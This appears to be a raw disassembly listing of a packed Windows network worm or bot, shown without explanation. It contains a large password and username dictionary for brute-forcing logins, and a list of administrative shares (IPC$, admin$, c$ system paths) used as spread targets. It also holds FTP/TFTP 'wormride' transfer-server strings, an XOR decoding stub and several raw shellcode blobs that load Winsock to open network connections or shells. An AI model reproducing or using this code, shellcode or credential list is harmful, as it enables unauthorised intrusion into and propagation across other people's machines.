dd offset aAdmin ; "admin" dd offset aAdm ; "adm" dd offset aA_1 ; "a" dd offset aAb ; "ab" dd offset aAbc ; "abc" dd offset aPassword1 ; "password1" dd offset aPassword ; "password" dd offset aPasswd ; "passwd" dd offset aDba ; "dba" dd offset aPass1234 ; "pass1234" dd offset aPass ; "pass" dd offset aPwd ; "pwd" dd offset a007 ; "007" dd offset a1 ; "1" dd offset a12 ; "12" dd offset a123 ; "123" dd offset a1234 ; "1234" dd offset a12345 ; "12345" dd offset a123456 ; "123456" dd offset a1234567 ; "1234567" dd offset a12345678 ; "12345678" dd offset a123456789 ; "123456789" dd offset a1234567890 ; "1234567890" dd offset aWork ; "work" dd offset aDeadline ; "deadline" dd offset aPayday ; "payday" dd offset aSecret ; "secret" dd offset a2000 ; "2000" dd offset a2001 ; "2001" dd offset a2002 ; "2002" dd offset a2003 ; "2003" dd offset a2004 ; "2004" dd offset a2005 ; "2005" dd offset aTest ; "test" dd offset aGuest ; "guest" dd offset aNone ; "none" dd offset aDemo ; "demo" dd offset aComputer ; "computer" dd offset aUnix ; "unix" dd offset aLinux ; "linux" dd offset aChangeme ; "changeme" dd offset aDefault ; "default" dd offset aSystem ; "system" dd offset aServer_0 ; "server" dd offset aRoot ; "root" dd offset aNull ; "null" dd offset aTemp ; "temp" dd offset aTemp123 ; "temp123" dd offset aQwerty ; "qwerty" dd offset aMail ; "mail" dd offset aOutlook ; "outlook" dd offset aWeb ; "web" dd offset aWww ; "www" dd offset aInternet ; "internet" dd offset aSex ; "sex" dd offset aLetmein ; "letmein" dd offset aAccounts ; "accounts" dd offset aAccounting ; "accounting" dd offset aHome ; "home" dd offset aHomeuser ; "homeuser" dd offset aUser ; "user" dd offset aOem ; "oem" dd offset aOemuser ; "oemuser" dd offset aOeminstall ; "oeminstall" dd offset aWwwadmin ; "wwwadmin" dd offset aWindows ; "windows" dd offset aWin98 ; "win98" dd offset aWin2k ; "win2k" dd offset aWinxp ; "winxp" dd offset aWinnt ; "winnt" dd offset aWin2000 ; "win2000" dd offset aQaz ; "qaz" dd offset aAsd ; "asd" dd offset aZxc ; "zxc" dd offset aQwe ; "qwe" dd offset aBob ; "bob" dd offset aJen ; "jen" dd offset aJoe ; "joe" dd offset aFred ; "fred" dd offset aBill ; "bill" dd offset aMike ; "mike" dd offset aJohn ; "john" dd offset aPeter ; "peter" dd offset aLuke ; "luke" dd offset aSam ; "sam" dd offset aSue ; "sue" dd offset aSusan ; "susan" dd offset aPeter ; "peter" dd offset aBrian ; "brian" dd offset aLee ; "lee" dd offset aNeil ; "neil" dd offset aIan ; "ian" dd offset aChris ; "chris" dd offset aEric ; "eric" dd offset aGeorge ; "george" dd offset aKate ; "kate" dd offset aBob ; "bob" dd offset aKatie ; "katie" dd offset aMary ; "mary" dd offset aLogin ; "login" dd offset aLoginpass ; "loginpass" dd offset aTechnical ; "technical" dd offset aBackup ; "backup" dd offset aExchange ; "exchange" dd offset aFuck ; "fuck" dd offset aBitch ; "bitch" dd offset aSlut ; "slut" dd offset aSex ; "sex" dd offset aGod ; "god" dd offset aMoney ; "money" dd offset aLove ; "love" dd offset aHell ; "hell" dd offset aHello ; "hello" dd offset aDomain ; "domain" dd offset aDomainpass ; "domainpass" dd offset aDomainpassword ; "domainpassword" dd offset aDatabase ; "database" dd offset aAccess ; "access" dd offset aDbpass ; "dbpass" dd offset aDbpassword ; "dbpassword" dd offset aDatabasepass ; "databasepass" dd offset aData ; "data" dd offset aDatabasepasswo ; "databasepassword" dd offset aDb1 ; "db1" dd offset aDb2 ; "db2" dd offset aDb1234 ; "db1234" dd offset aSa ; "sa" dd offset aSql ; "sql" dd offset aSqlpassoainsta ; "sqlpassoainstall" dd offset aOrainstall ; "orainstall" dd offset aOracle ; "oracle" dd offset aIbm ; "ibm" dd offset aCisco ; "cisco" dd offset aDell ; "dell" dd offset aCompaq ; "compaq" dd offset aSiemens ; "siemens" dd offset aHp ; "hp" dd offset aNokia ; "nokia" dd offset aXp_0 ; "xp" dd offset aControl ; "control" dd offset aOffice ; "office" dd offset aBlank ; "blank" dd offset aWinpass ; "winpass" dd offset aMain ; "main" dd offset aLan_0 ; "lan" dd offset aInternet ; "internet" dd offset aIntranet ; "intranet" dd offset aStudent ; "student" dd offset aOwner ; "owner" dd offset aTeacher ; "teacher" dd offset aStaff ; "staff" dd 0 aWinpass db 'winpass',0 ; DATA XREF: .packed:0041707Co aBlank db 'blank',0 ; DATA XREF: .packed:00417078o align 4 aXp_0 db 'xp',0 ; DATA XREF: .packed:0041706Co align 4 aNokia db 'nokia',0 ; DATA XREF: .packed:00417068o align 10h aHp db 'hp',0 ; DATA XREF: .packed:00417064o align 4 aOrainstall db 'orainstall',0 ; DATA XREF: .packed:00417048o align 10h aSqlpassoainsta db 'sqlpassoainstall',0 ; DATA XREF: .packed:00417044o align 4 aDb1234 db 'db1234',0 ; DATA XREF: .packed:00417038o align 4 aDb2 db 'db2',0 ; DATA XREF: .packed:00417034o aDb1 db 'db1',0 ; DATA XREF: .packed:00417030o aDatabasepasswo db 'databasepassword',0 ; DATA XREF: .packed:0041702Co align 4 aDatabasepass db 'databasepass',0 ; DATA XREF: .packed:00417024o align 4 aDbpassword db 'dbpassword',0 ; DATA XREF: .packed:00417020o align 4 aDbpass db 'dbpass',0 ; DATA XREF: .packed:0041701Co align 4 aDomainpassword db 'domainpassword',0 ; DATA XREF: .packed:00417010o align 4 aDomainpass db 'domainpass',0 ; DATA XREF: .packed:0041700Co align 4 aHello db 'hello',0 ; DATA XREF: .packed:00417004o align 10h aHell db 'hell',0 ; DATA XREF: .packed:00417000o align 4 aLove db 'love',0 ; DATA XREF: .packed:00416FFCo align 10h aMoney db 'money',0 ; DATA XREF: .packed:00416FF8o align 4 aSlut db 'slut',0 ; DATA XREF: .packed:00416FECo align 10h aBitch db 'bitch',0 ; DATA XREF: .packed:00416FE8o align 4 aFuck db 'fuck',0 ; DATA XREF: .packed:00416FE4o align 10h aExchange db 'exchange',0 ; DATA XREF: .packed:00416FE0o align 4 aLoginpass db 'loginpass',0 ; DATA XREF: .packed:00416FD4o align 4 aLogin db 'login',0 ; DATA XREF: .packed:00416FD0o align 10h aQwe db 'qwe',0 ; DATA XREF: .packed:00416F6Co aZxc db 'zxc',0 ; DATA XREF: .packed:00416F68o aAsd db 'asd',0 ; DATA XREF: .packed:00416F64o aQaz db 'qaz',0 ; DATA XREF: .packed:00416F60o aWin2000 db 'win2000',0 ; DATA XREF: .packed:00416F5Co aWinnt db 'winnt',0 ; DATA XREF: .packed:00416F58o align 10h aWinxp db 'winxp',0 ; DATA XREF: .packed:00416F54o align 4 aWin2k db 'win2k',0 ; DATA XREF: .packed:00416F50o align 10h aWin98 db 'win98',0 ; DATA XREF: .packed:00416F4Co align 4 aWindows db 'windows',0 ; DATA XREF: .packed:00416F48o aOeminstall db 'oeminstall',0 ; DATA XREF: .packed:00416F40o align 4 aOem db 'oem',0 ; DATA XREF: .packed:00416F38o aAccounting db 'accounting',0 ; DATA XREF: .packed:00416F28o align 4 aAccounts db 'accounts',0 ; DATA XREF: .packed:00416F24o align 4 aLetmein db 'letmein',0 ; DATA XREF: .packed:00416F20o aSex db 'sex',0 ; DATA XREF: .packed:00416F1Co ; .packed:00416FF0o aOutlook db 'outlook',0 ; DATA XREF: .packed:00416F0Co aMail db 'mail',0 ; DATA XREF: .packed:00416F08o align 4 aQwerty db 'qwerty',0 ; DATA XREF: .packed:00416F04o align 4 aTemp123 db 'temp123',0 ; DATA XREF: .packed:00416F00o aTemp db 'temp',0 ; DATA XREF: .packed:00416EFCo align 4 aNull db 'null',0 ; DATA XREF: .packed:00416EF8o align 4 aDefault db 'default',0 ; DATA XREF: .packed:00416EE8o aChangeme db 'changeme',0 ; DATA XREF: .packed:00416EE4o align 4 aDemo db 'demo',0 ; DATA XREF: .packed:00416ED4o align 10h aTest db 'test',0 ; DATA XREF: .packed:00416EC8o align 4 a2005 db '2005',0 ; DATA XREF: .packed:00416EC4o align 10h a2004 db '2004',0 ; DATA XREF: .packed:00416EC0o align 4 a2001 db '2001',0 ; DATA XREF: .packed:00416EB4o align 10h aSecret db 'secret',0 ; DATA XREF: .packed:00416EACo align 4 aPayday db 'payday',0 ; DATA XREF: .packed:00416EA8o align 10h aDeadline db 'deadline',0 ; DATA XREF: .packed:00416EA4o align 4 aWork db 'work',0 ; DATA XREF: .packed:00416EA0o align 4 a1234567890 db '1234567890',0 ; DATA XREF: .packed:00416E9Co align 10h a123456789 db '123456789',0 ; DATA XREF: .packed:00416E98o align 4 a12345678 db '12345678',0 ; DATA XREF: .packed:00416E94o align 4 a1234567 db '1234567',0 ; DATA XREF: .packed:00416E90o a123456 db '123456',0 ; DATA XREF: .packed:00416E8Co align 4 a12345 db '12345',0 ; DATA XREF: .packed:00416E88o align 10h a1234 db '1234',0 ; DATA XREF: .packed:00416E84o align 4 a123 db '123',0 ; DATA XREF: .packed:00416E80o a12 db '12',0 ; DATA XREF: .packed:00416E7Co align 10h a1: ; DATA XREF: .packed:00416E78o unicode 0, <1>,0 a007 db '007',0 ; DATA XREF: .packed:00416E74o aPwd db 'pwd',0 ; DATA XREF: .packed:00416E70o aPass db 'pass',0 ; DATA XREF: .packed:00416E6Co align 4 aPass1234 db 'pass1234',0 ; DATA XREF: .packed:00416E68o align 10h aDba db 'dba',0 ; DATA XREF: .packed:00416E64o aPasswd db 'passwd',0 ; DATA XREF: .packed:00416E60o align 4 aPassword db 'password',0 ; DATA XREF: .packed:00416E5Co ; .packed:00418B48o align 4 aPassword1 db 'password1',0 ; DATA XREF: .packed:00416E58o align 4 aAbc db 'abc',0 ; DATA XREF: .packed:00416E54o aAb db 'ab',0 ; DATA XREF: .packed:00416E50o align 4 aA_1: ; DATA XREF: .packed:00416E4Co unicode 0, <a>,0 aIpc db 'IPC$',0 ; DATA XREF: .packed:00416E24o align 4 aPrint db 'print$',0 ; DATA XREF: .packed:00416E20o align 10h aCDocumentsAndS db 'C$\Documents and Settings\All Users\Documents\$',0 ; DATA XREF: .packed:00416E1Co aAdmin_0 db 'admin$',0 ; DATA XREF: .packed:00416E18o align 4 aAdminSystem32 db 'Admin$\system32',0 ; DATA XREF: .packed:00416E14o aCWindowsSystem db 'c$\windows\system32',0 ; DATA XREF: .packed:00416E10o aCWinntSystem32 db 'c$\winnt\system32',0 ; DATA XREF: .packed:00416E0Co align 10h aCWindows db 'c$\windows',0 ; DATA XREF: .packed:00416E08o align 4 aCWinnt db 'c$\winnt',0 ; DATA XREF: .packed:00416E04o align 4 aEShared db 'e$\shared',0 ; DATA XREF: .packed:00416E00o align 4 aDShared db 'd$\shared',0 ; DATA XREF: .packed:00416DFCo align 10h aCShared db 'c$\shared',0 ; DATA XREF: .packed:00416DF8o align 4 aE_0 db 'e$',0 ; DATA XREF: .packed:00416DF4o align 10h aD db 'd$',0 ; DATA XREF: .packed:00416DF0o align 4 aC_1 db 'c$',0 ; DATA XREF: .packed:00416DECo align 4 aStaff db 'staff',0 ; DATA XREF: .packed:00416DE4o ; .packed:0041709Co align 10h aTeacher db 'teacher',0 ; DATA XREF: .packed:00416DE0o ; .packed:00417098o aOwner db 'owner',0 ; DATA XREF: .packed:00416DDCo ; .packed:00417094o align 10h aStudent db 'student',0 ; DATA XREF: .packed:00416DD8o ; .packed:00417090o aIntranet db 'intranet',0 ; DATA XREF: .packed:00416DD4o ; .packed:0041708Co align 4 aLan_0 db 'lan',0 ; DATA XREF: .packed:00416DCCo ; .packed:00417084o aMain db 'main',0 ; DATA XREF: sub_4111E8+25Do ; .packed:00411479o ... align 10h aOffice db 'office',0 ; DATA XREF: .packed:00416DC4o ; .packed:00417074o align 4 aControl db 'control',0 ; DATA XREF: .packed:00416DC0o ; .packed:00417070o aSiemens db 'siemens',0 ; DATA XREF: .packed:00416DBCo ; .packed:00417060o aCompaq db 'compaq',0 ; DATA XREF: .packed:00416DB8o ; .packed:0041705Co align 10h aDell db 'dell',0 ; DATA XREF: .packed:00416DB4o ; .packed:00417058o align 4 aCisco db 'cisco',0 ; DATA XREF: .packed:00416DB0o ; .packed:00417054o align 10h aIbm db 'ibm',0 ; DATA XREF: .packed:00416DACo ; .packed:00417050o aOracle db 'oracle',0 ; DATA XREF: .packed:00416DA8o ; .packed:0041704Co align 4 aSql db 'sql',0 ; DATA XREF: .packed:00416DA4o ; .packed:00417040o aSa db 'sa',0 ; DATA XREF: .packed:00416DA0o ; .packed:0041703Co align 4 aData db 'data',0 ; DATA XREF: .packed:00416D9Co ; .packed:00417028o align 4 aAccess db 'access',0 ; DATA XREF: .packed:00416D98o ; .packed:00417018o align 4 aDatabase db 'database',0 ; DATA XREF: .packed:00416D94o ; .packed:00417014o align 10h aDomain db 'domain',0 ; DATA XREF: .packed:00416D90o ; .packed:00417008o align 4 aGod db 'god',0 ; DATA XREF: .packed:00416D8Co ; .packed:00416FF4o aBackup db 'backup',0 ; DATA XREF: .packed:00416D88o ; .packed:00416FDCo align 4 aTechnical db 'technical',0 ; DATA XREF: .packed:00416D84o ; .packed:00416FD8o align 10h aMary db 'mary',0 ; DATA XREF: .packed:00416D80o ; .packed:00416FCCo align 4 aKatie db 'katie',0 ; DATA XREF: .packed:00416D7Co ; .packed:00416FC8o align 10h aKate db 'kate',0 ; DATA XREF: .packed:00416D74o ; .packed:00416FC0o align 4 aGeorge db 'george',0 ; DATA XREF: .packed:00416D70o ; .packed:00416FBCo align 10h aEric db 'eric',0 ; DATA XREF: .packed:00416D6Co ; .packed:00416FB8o align 4 aNone db 'none',0 ; DATA XREF: .packed:00416D68o ; .packed:00416ED0o align 10h aGuest db 'guest',0 ; DATA XREF: .packed:00416D64o ; .packed:00416ECCo align 4 aChris db 'chris',0 ; DATA XREF: .packed:00416D60o ; .packed:00416FB4o align 10h aIan db 'ian',0 ; DATA XREF: .packed:00416D5Co ; .packed:00416FB0o aNeil db 'neil',0 ; DATA XREF: .packed:00416D58o ; .packed:00416FACo align 4 aLee db 'lee',0 ; DATA XREF: .packed:00416D54o ; .packed:00416FA8o aBrian db 'brian',0 ; DATA XREF: .packed:00416D50o ; .packed:00416FA4o align 4 aSusan db 'susan',0 ; DATA XREF: .packed:00416D48o ; .packed:00416F9Co align 10h aSue db 'sue',0 ; DATA XREF: .packed:00416D44o ; .packed:00416F98o aSam db 'sam',0 ; DATA XREF: .packed:00416D40o ; .packed:00416F94o aLuke db 'luke',0 ; DATA XREF: .packed:00416D3Co ; .packed:00416F90o align 10h aPeter db 'peter',0 ; DATA XREF: .packed:00416D38o ; .packed:00416D4Co ... align 4 aJohn db 'john',0 ; DATA XREF: .packed:00416D34o ; .packed:00416F88o align 10h aMike db 'mike',0 ; DATA XREF: .packed:00416D30o ; .packed:00416F84o align 4 aBill db 'bill',0 ; DATA XREF: .packed:00416D2Co ; .packed:00416F80o align 10h aFred db 'fred',0 ; DATA XREF: .packed:00416D28o ; .packed:00416F7Co align 4 aJoe db 'joe',0 ; DATA XREF: .packed:00416D24o ; .packed:00416F78o aJen db 'jen',0 ; DATA XREF: .packed:00416D20o ; .packed:00416F74o aBob db 'bob',0 ; DATA XREF: .packed:00416D1Co ; .packed:00416D78o ... aWwwadmin db 'wwwadmin',0 ; DATA XREF: .packed:00416D18o ; .packed:00416F44o align 10h aOemuser db 'oemuser',0 ; DATA XREF: .packed:00416D14o ; .packed:00416F3Co aUser db 'user',0 ; DATA XREF: .packed:00416D10o ; .packed:00416F34o align 10h aHomeuser db 'homeuser',0 ; DATA XREF: .packed:00416D0Co ; .packed:00416F30o align 4 aHome db 'home',0 ; DATA XREF: .packed:00416D08o ; .packed:00416F2Co align 4 aInternet db 'internet',0 ; DATA XREF: .packed:00416D04o ; .packed:00416DD0o ... align 10h aWww db 'www',0 ; DATA XREF: .packed:00416D00o ; .packed:00416F14o aWeb db 'web',0 ; DATA XREF: .packed:00416CFCo ; .packed:00416F10o aRoot db 'root',0 ; DATA XREF: .packed:00416CF8o ; .packed:00416EF4o align 10h aServer_0 db 'server',0 ; DATA XREF: .packed:00416CF4o ; .packed:00416EF0o align 4 aLinux db 'linux',0 ; DATA XREF: .packed:00416CECo ; .packed:00416EE0o align 10h aUnix db 'unix',0 ; DATA XREF: .packed:00416CE8o ; .packed:00416EDCo align 4 aComputer db 'computer',0 ; DATA XREF: .packed:00416CE4o ; .packed:00416ED8o align 4 aAdm db 'adm',0 ; DATA XREF: .packed:00416CE0o ; .packed:00416E48o aAdmin db 'admin',0 ; DATA XREF: .packed:00416CDCo ; .packed:00416E44o align 10h aAdmins db 'admins',0 ; DATA XREF: .packed:00416CD8o ; .packed:00416E40o align 4 aAdministrat db 'administrat',0 ; DATA XREF: .packed:00416CD4o ; .packed:00416E3Co aAdministrateur db 'administrateur',0 ; DATA XREF: .packed:00416CD0o ; .packed:00416E38o align 4 aAdministrador db 'administrador',0 ; DATA XREF: .packed:00416CCCo ; .packed:00416E34o align 4 aAdministrator db 'administrator',0 ; DATA XREF: .packed:00416CC8o ; .packed:00416E30o align 4 a231 db '231 -',0Dh,0Ah,0 ; DATA XREF: sub_40D6E0:loc_40DB99o a221 db '221 -',0Dh,0Ah,0 ; DATA XREF: sub_40D6E0+48Ao dword_417634 dd 128170h ; DATA XREF: sub_40D6E0:loc_40DB62r align 10h unk_417640 db 2Dh ; - ; DATA XREF: sub_40D6E0+463o db 3, 30h, 34h db 2 db 25h, 73h, 3 db 2 aU_TransferToSC db '- %u. Transfer to %s complete.',0 aFtp_0 db 'ftp',0 ; DATA XREF: sub_40D6E0+45Eo dword_41766C dd 8E2D0h ; DATA XREF: sub_40D6E0:loc_40DAA7r dd 2 dup(0) dword_417678 dd 20363232h, 0A0D2Dh ; DATA XREF: sub_40D6E0+386o ; sub_40D6E0+41Ao aX32000Fh1024Ja db '-x 3 2000 fh 1024 Jan 1 0:00 .',0Dh,0Ah ; DATA XREF: sub_40D6E0+353o db 'drwxr-xr-x 3 2000 fh 1024 Jan 1 0:00 ..',0Dh,0Ah db '-rwxr-xr-x 3 2000 fh %u Jan 1 0:00 %s',0Dh,0Ah,0 align 4 a150 db '150 -',0Dh,0Ah,0 ; DATA XREF: sub_40D6E0+2AAo ; sub_40D6E0+3D3o dword_4176FC dd 0A7CF0h ; DATA XREF: sub_40D6E0:loc_40D97Er dd 2 dup(0) dword_417708 dd 20333132h, 0A0D7525h, 0 ; DATA XREF: sub_40D6E0+270o dword_417714 dd 146630h ; DATA XREF: sub_40D6E0:loc_40D8FEr align 10h dword_417720 dd 20303032h, 0A0D2Dh ; DATA XREF: sub_40D6E0:loc_40D8F4o aUUUUUU db '%u,%u,%u,%u,%u,%u',0 ; DATA XREF: sub_40D6E0+1BBo align 4 dword_41773C dd 1242F0h ; DATA XREF: sub_40D6E0:loc_40D87Br dd 2 dup(0) dword_417748 dd 20353234h, 0A0D2Dh ; DATA XREF: sub_40D6E0+191o dword_417750 dd 12ABA8h ; DATA XREF: sub_40D6E0+189r dd 2 dup(0) dword_41775C dd 1231B0h ; DATA XREF: sub_40D6E0:loc_40D85Dr dd 2 dup(0) dword_417768 dd 20373532h, 20222F22h, 0A0D2Dh ; DATA XREF: sub_40D6E0+173o dword_417774 dd 25A70h ; DATA XREF: sub_40D6E0:loc_40D84Br dd 0 dword_41777C dd 20313132h, 0A0D2Dh ; DATA XREF: sub_40D6E0+161o dword_417784 dd 0F9170h ; DATA XREF: sub_40D6E0:loc_40D839r align 10h dword_417790 dd 20353132h, 0A0D2Dh ; DATA XREF: sub_40D6E0+14Fo dword_417798 dd 147CF0h ; DATA XREF: sub_40D6E0+147r dd 2 dup(0) dword_4177A4 dd 20303332h, 0A0D2Dh ; DATA XREF: sub_40D6E0+129o dword_4177AC dd 12AE10h ; DATA XREF: sub_40D6E0:loc_40D7FAr dd 2 dup(0) dword_4177B8 dd 20313333h, 0A0D2Dh ; DATA XREF: sub_40D6E0+110o dword_4177C0 dd 1386D0h ; DATA XREF: sub_40D6E0+101r dd 2 dup(0) dword_4177CC dd 0A0D20h ; DATA XREF: sub_40D6E0+ACo dword_4177D0 dd 20303232h, 0A0D2Dh ; DATA XREF: sub_40D6E0+11o dword_4177D8 dd 303332h ; DATA XREF: sub_40DBD7+143o dword_4177DC dd 53534150h, 0A0D3120h, 0 ; DATA XREF: sub_40DBD7+F0o dword_4177E8 dd 313333h ; DATA XREF: sub_40DBD7+D1o dword_4177EC dd 52455355h, 0A0D3120h, 0 ; DATA XREF: sub_40DBD7+76o dword_4177F8 dd 303232h ; DATA XREF: sub_40DBD7+59o unk_4177FC db 2Dh ; - ; DATA XREF: sub_40DD36+A4o db 3, 30h, 34h db 2 db 25h, 75h, 3 db 2 aRunningFtpWorm db '- Running FTP wormride thread',0 align 4 a127_0_0_1 db '127.0.0.1',0 ; DATA XREF: sub_40DD36+44o align 10h aFtpWormrideThr db 'FTP wormride thread',0 ; DATA XREF: sub_40DE4C+34o dword_417844 dd 4000500h, 7868746Bh, 0 ; DATA XREF: sub_40DE9A+369o unk_417850 db 2Dh ; - ; DATA XREF: sub_40DE9A+34Bo db 3, 30h, 34h db 2 db 25h, 73h, 3 db 2 aU_TftpTransfer db '- %u. tftp transfer to %s complete.',0 align 10h aWormride db 'wormride',0 ; DATA XREF: sub_40DE9A+346o align 4 dword_41788C dd 1000500h, 656C6946h, 746F4E20h, 756F4620h, 646Eh ; DATA XREF: sub_40DE9A+1FEo aOctet db 'octet',0 ; DATA XREF: sub_40DE9A+1CEo align 4 unk_4178A8 db 2Dh ; - ; DATA XREF: sub_40DE9A+E5o db 3, 30h, 34h db 2 db 25h, 75h, 3 db 2 aRunningTftpWor db '- Running TFTP wormride thread',0 aTftpWormrideTh db 'TFTP wormride thread',0 ; DATA XREF: sub_40E243+2Bo align 4 loc_4178E8: ; DATA XREF: sub_40E399+3Eo jmp short loc_4178FF ; --------------------------------------------------------------------------- loc_4178EA: ; CODE XREF: .packed:loc_4178FFp mov ecx, 0 xor ecx, 0 pop esi loc_4178F6: ; CODE XREF: .packed:004178FBj xor byte ptr [ecx+esi-1], 0 loop loc_4178F6 jmp short near ptr dword_417904 ; --------------------------------------------------------------------------- loc_4178FF: ; CODE XREF: .packed:loc_4178E8j call loc_4178EA ; --------------------------------------------------------------------------- dword_417904 dd 0 ; CODE XREF: .packed:004178FDj dword_417908 dd 8B64DB33h, 408B3043h, 1C708B0Ch, 8788BADh, 45E8h, 8B565300h ; DATA XREF: sub_40E2C1+7Eo dd 5C8B3C5Fh, 0DF03783Bh, 205B8B53h, 8353DF03h, 338B04C3h dd 0C933F703h, 0C1C832ACh, 0C08405C1h, 0CA2BF675h, 2B58E975h dd 5EEBD1D8h, 3245E03h, 0B8B66DFh, 31C5E8Bh, 8B048BDFh dd 5B5EC703h, 685EE0FFh, 3233h, 32737768h, 92BA545Fh, 0FF84046Eh dd 81F88BD6h, 200ECh, 53EC8B00h, 26A016Ah, 835383BAh, 53D6FF00h dd 6853h, 2680000h, 8B000000h, 6AD88BD4h, 0BA535210h, 5A603063h dd 0B450D6FFh, 53555002h, 605800BAh, 0BFD6FFE2h, 0 ; --------------------------------------------------------------------------- jmp ebp ; --------------------------------------------------------------------------- align 4 dword_4179BC dd 8B64DB33h, 408B3043h, 1C708B0Ch, 8788BADh, 45E8h, 8B565300h ; DATA XREF: sub_40E2C1+4Do dd 5C8B3C5Fh, 0DF03783Bh, 205B8B53h, 8353DF03h, 338B04C3h dd 0C933F703h, 0C1C832ACh, 0C08405C1h, 0CA2BF675h, 2B58E975h dd 5EEBD1D8h, 3245E03h, 0B8B66DFh, 31C5E8Bh, 8B048BDFh dd 5B5EC703h, 685EE0FFh, 3233h, 32737768h, 92BA545Fh, 0FF84046Eh dd 81F88BD6h, 200ECh, 53EC8B00h, 26A016Ah, 835383BAh, 53D6FF00h dd 2685353h, 8B000000h, 6AD88BD4h, 0BA535210h, 0C2A69000h dd 5040D6FFh, 3B7ABA53h, 0D6FFA173h, 0BA535050h, 69D310h dd 0D88BD6FFh, 0B450C033h, 53555002h, 605800BAh, 0BFD6FFE2h dd 0 ; --------------------------------------------------------------------------- jmp ebp ; --------------------------------------------------------------------------- align 4 dword_417A84 dd 8B64DB33h, 408B3043h, 1C708B0Ch, 8788BADh, 45E8h, 8B565300h ; DATA XREF: sub_40E2C1+1Ao dd 5C8B3C5Fh, 0DF03783Bh, 205B8B53h, 8353DF03h, 338B04C3h dd 0C933F703h, 0C1C832ACh, 0C08405C1h, 0CA2BF675h, 2B58E975h dd 5EEBD1D8h, 3245E03h, 0B8B66DFh, 31C5E8Bh, 8B048BDFh dd 5B5EC703h, 685EE0FFh, 3233h, 32737768h, 92BA545Fh, 0FF84046Eh dd 81F88BD6h, 200ECh, 6AEC8B00h, 55544310h, 7232BA53h dd 0D6FF1979h, 27D8166h, 0ED751111h, 22047D81h, 75222222h dd 2B450E4h, 0BA535550h, 0E2605800h, 7D81D6FFh, 20EC8300h dd 0BFEA758Bh, 0 ; --------------------------------------------------------------------------- jmp ebp ; --------------------------------------------------------------------------- align 4 dword_417B38 dd 8B20EC83h, 45D89ECh, 81007D89h, 200ECh, 14658900h, 8B64DB33h ; DATA XREF: sub_40E496+5Bo dd 408B3043h, 1C708B0Ch, 8788BADh, 0E8087D89h, 45h, 5F8B5653h dd 3B5C8B3Ch, 53DF0378h, 3205B8Bh, 0C38353DFh, 3338B04h dd 0ACC933F7h, 0C1C1C832h, 75C08405h, 75CA2BF6h, 0D82B58E9h dd 35EEBD1h, 0DF03245Eh, 8B0B8B66h, 0DF031C5Eh, 38B048Bh dd 0FF5B5EC7h, 33685EE0h, 68000032h, 5F327377h, 6E92BA54h dd 0D6FF8404h, 8B0C4589h, 46A53F8h, 475FF55h, 669000BAh dd 83D6FFE0h, 850F04F8h, 0C5h, 0E8087D8Bh, 0Dh, 3 dup(0) dd 18458F00h, 6A026A53h, 68535301h, 0C0000000h, 0BA1875FFh dd 5C6BD33Dh, 4589D6FFh, 840F401Ch, 8Dh, 330C7D8Bh, 2B450C0h dd 1475FF50h, 0BA0475FFh, 0E2605800h, 7D8BD6FFh, 74C08508h dd 41C88B1Eh, 8D535774h, 5051104Dh, 0FF1475FFh, 0B9BA1C75h dd 0FFCBF5BEh, 74C085D6h, 0FFC5EB40h, 5CBA1C75h, 0FF9DC593h dd 58446AD6h, 0FC8BE02Bh, 33ABD78Bh, 59106AC0h, 8BFDE2ABh dd 5252087Dh, 50505050h, 0FF505050h, 2CBA1875h, 0FF2694F1h dd 0C7FE58D6h, 1BA5053h, 0FFDE34D6h, 1C75FFD6h, 0C5935CBAh dd 0FFD6FF9Dh, 3DBA1875h, 0FF27CF53h, 0C7D8BD6h, 0BA0475FFh dd 7315685h, 7D8BD6FFh, 46BABA08h, 0D6FFC10Ch db 0 byte_417CB5 db 0E3h ; DATA XREF: sub_40E399+ACr ; sub_40E399+D8w align 4 dword_417CB8 dd 4113E68Bh ; DATA XREF: sub_40E399+49r ; sub_40E399+98w align 10h off_417CC0 dd offset dword_417D18 ; DATA XREF: sub_40E523+40r dd offset dword_417D0C dd offset dword_417D04 dd offset dword_417CF0 dd offset dword_417CE4 dd offset dword_417D04 dd 3 dup(0) dword_417CE4 dd 0CEACFBEAh, 2 dup(0) ; DATA XREF: .packed:00417CD0o ; .packed:00418E30o dword_417CF0 dd 0D5ABFDB2h, 878E89BEh, 0A893A5C9h, 0D3C9E6h, 0 ; DATA XREF: .packed:00417CCCo ; .packed:00418E2Co dword_417D04 dd 2 dup(0) ; DATA XREF: .packed:00417CC8o ; .packed:00417CD4o ... dword_417D0C dd 0CEA0FBE6h, 2 dup(0) ; DATA XREF: .packed:00417CC4o ; .packed:off_418E24o dword_417D18 dd 0D5A9FFBFh, 0C38D83BFh, 0A8CAAFD2h, 0DDC5EAh, 0 ; DATA XREF: .packed:off_417CC0o ; .packed:off_418E20o dword_417D2C dd 72h ; DATA XREF: sub_40E707+F4o dword_417D30 dd 62h ; DATA XREF: sub_40E829+7Fo dword_417D34 dd 63h ; DATA XREF: sub_40E8E1+3Ao dword_417D38 dd 3430032Dh, 3752502h, 52202D02h, 696E6E75h, 7320676Eh ; DATA XREF: sub_40E951+66o dd 6C6C6568h, 65646F63h, 72657320h, 20726576h, 70206E6Fh dd 2074726Fh, 2343003h, 2037325h, 0 dword_417D70 dd 6C656853h, 646F636Ch, 65732065h, 72657672h, 206E6F20h ; DATA XREF: sub_40EA2F+79o dd 74726F70h, 34300320h, 3752502h, 2, 0 dword_417D98 dd 96F7ADBAh ; DATA XREF: sub_40E64D+2Dr ; sub_40EE23+57o ... dd 3 dup(0) dd 0EF000000h, 0ADFDh, 3 dup(0) db 2 dup(0) word_417DBE dw 0 ; DATA XREF: sub_40EAC4+2Do dd 0 db 2 dup(0) off_417DC6 dd offset sub_40BC10 ; DATA XREF: sub_40E64D+5r ; sub_40E64D+Do ... dw 3 dd 0 dd 0ADBA0000h, 0E796F7h, 3 dup(0) dd 0ADFDEF00h, 6 dup(0) dd offset sub_40BE68 dd 3, 0 dd 8BECABB0h, 0D692B4h, 2 dup(0) dd 0EA000000h, 0ADFAh, 5 dup(0) dd 0C79B0000h, 30040h, 0 dd 0BDB20000h, 0A688F9h, 3 dup(0) dd 0ADFAEA00h, 6 dup(0) dd offset sub_40C501 dd 3, 0 dd 0E8A0AEh, 3 dup(0) dd 0EA000000h, 0ADFAh, 5 dup(0) dd 0CD920000h, 30040h, 0 dd 0A0AE0000h, 0C9E8h, 3 dup(0) dd 0ADFAEA00h, 6 dup(0) dd offset loc_40CDA0 dd 3, 0 dd 0EBA5A9h, 3 dup(0) dd 0EF000000h, 0ADFDh, 5 dup(0) dd 0D3D60000h, 30040h, 0 dd 0A5A90000h, 0C9EBh, 3 dup(0) dd 